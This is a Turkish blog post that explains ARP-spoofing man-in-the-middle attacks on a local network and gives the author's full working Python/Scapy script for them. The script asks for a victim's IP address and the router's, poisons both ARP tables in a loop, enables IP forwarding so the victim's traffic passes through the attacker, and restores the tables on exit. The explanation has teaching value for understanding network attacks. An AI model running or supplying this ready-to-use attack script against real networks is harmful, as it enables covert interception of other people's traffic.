Python ile Local Ağda Man In The Middle saldırı yapmak!!!
Merhaba arkadaşlar bugün python ile yazmış olduğum script'te local ağda'da seçtiğiniz bir hedefin tüm internet trafiğini sizin üzerinden yölendirilmesini sağlayan bir script'in sizlere amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...
Arkadaşlar bu scripteki amacım şuydu.Bir önceki bloğum'da local ağ tabanlı bir örnek yapmıştım. Bu bloğum'da local ağ tabanlı başka bir örnek yapmak istedim.Öncelikle sizlere MITM hakkında bilgi verip daha sonra script'in çalışma mantığı üzerinde duracağım.
MITM saldırısı'nın mantığı local ağda seçtiğimiz hedef ile gateway arasına girerek hedef'in çıkarmış olduğu packet'leri üzerimizden ağa dağıtıyoruz veya hedefimize gateway'den gelecek olan packet'ler önce bize gelip daha sonra bizden hedefe göndermesi şeklinde davranması sağlıyoruz.Aşağıda görmüş olduğunuz resimde Web Uygulaması ile User arasına kendimizi dahil ederek iletişimi üzerimizden yönlendirmiş oluyoruz.
Şimdi script'in çalışma mantığı üzerinde duralım.Script'imiz ilk olarak kullanıcıdan hangi network aygıtını kullanarak ağa bağlandığını soruyor(Wifi , Ethernet vs.).Daha sonra ise sizden kurbanın ip addresini ve sonra gateway'inizin ip adresini istiyor.Devamında ise script'e vermiş olduğumuz ip adreslerinden bu cihazların(kurban , gateway) local'de kullanmış olduğu mac adreslerini öğreniyor(Biliyoruz ki local ortamlarda iletişim mac adresleriyle olur.Local ağlarda her cihaz Arp Table tutarak ip adresleriyle mac adreslerini eşleştirir. Böylece sürekli Arp Broadcast yapmadan local ağda iletişimi hızlandırır).Script'imiz artık hedef ve gateway'in mac adreslerini biliyor.Bundan sonraki işlem artık biz 2 adet hedef'e ve gateway'e gidecek olan ethernet frame oluşturacağız.Hedef'e giden ethernet frame içersinde Hedef Ip ve Mac adresleri kısmı hedef'in bilgileri ile dolacaktır fakat bu frame'in kaynak Ip kısmında gateway'ın Ip adresi yazılırken kaynak Mac adresi kısmına bizim makinemizin Mac adresi yazılacaktır.Böylece biz hedefe sanki bu frame gateway'den geliyormuşçasına göndereceğiz.Burada hedef aldığı frameleri okuyup Arp Table'da gateway ip adresinin karşısına bizim mac adresimizi yazarak artık gateway'inin mac adresini bizim mac adresimiz olarak değiştirecektir.Bu işlemlerin aynısı gateway için yapacağız ve artık gateway bizi hedefin ip adresinin bulunduğu kısmın karşısına bizim mac adresimizi yazarak packetleri bize çıkaracaktır.Daha sonra yukarıda anlatığım gibi artık gateway hedefe ulaşmak isterse hedef'in packetlerini bize atıp packetler üzerimizden geçerek biz artık hedefe yönlendireceğiz.Ben linux tabanlı bir işletim sistemi kullandığım için ip_forwading'i açarak bilgisyarımın bir router gibi çalışmasını sağlıyorum.Burada üstümüzden geçen packetleri okumak için ben Wireshark kullanıyorum.
Tüm bu işlemlerde olduktan sonra network'un sağlıklı çalışabilmesi için Arp Table'ların eski hallerini alması gerekir.Burada son olarak hedef ve gateway'in birbirlerine Arp Broadcast çıkarıp birbirlerinin mac adresini güncelleyerek bitiriyoruz.
Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
#MITM.py # -*- coding:utf-8 -*- import os import sys from scapy.all import * interface = raw_input("[*] Inteface :") vIP = raw_input("[*] Victim IP address :") rIP = raw_input("[*] Router IP address :") def MACFound(IP): answer , unanswer = arping(IP) for s,r in answer: return r[Ether].src def Spoofing(routerIP,victimIP): victimMAC = MACFound(victimIP) routerMAC = MACFound(routerIP) send(ARP(op =2, pdst = victimIP, psrc = routerIP, hwdst = victimMAC)) send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = routerMAC)) def Recover(routerIP, victimIP): victimMAC = MACFound(victimIP) routerMAC = MACFound(routerIP) send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc= victimMAC),count = 5) send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = routerMAC),count = 5) def MiddleMan(): os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") while 1: try: Spoofing(rIP, vIP) time.sleep(1) except KeyboardInterrupt: Recover(rIP, vIP) os.system("echo 0 > /proc/sys/net/ipv4/ip_forward") break sys.exit(1) if __name__ == "__main__": MiddleMan()
Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)